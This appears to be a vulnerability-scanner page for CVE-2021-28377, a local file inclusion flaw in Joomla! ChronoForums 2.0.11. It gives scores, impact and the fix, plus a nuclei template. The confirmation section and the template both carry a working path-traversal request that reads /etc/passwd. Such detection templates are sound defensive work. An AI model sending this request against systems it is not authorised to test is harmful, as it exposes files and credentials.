Joomla! ChronoForums 2.0.11 - Local File Inclusion

mediumseverity

5.3CVSS score

8.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing remote code execution.

Fix

Update Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-28377 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-28377

info:
  name: Joomla! ChronoForums 2.0.11 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing remote code execution.
  remediation: |
    Update Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://herolab.usd.de/en/security-advisories/usd-2021-0007/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28377
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28377
    cwe-id: CWE-22
    epss-score: 0.0852
    epss-percentile: 0.95089
    cpe: cpe:2.3:a:chronoengine:chronoforums:2.0.11:*:*:*:*:joomla:*:*
  metadata:
    max-request: 1
    vendor: chronoengine
    product: chronoforums
    framework: joomla
  tags: cve2021,cve,chronoforums,lfi,joomla,chronoengine,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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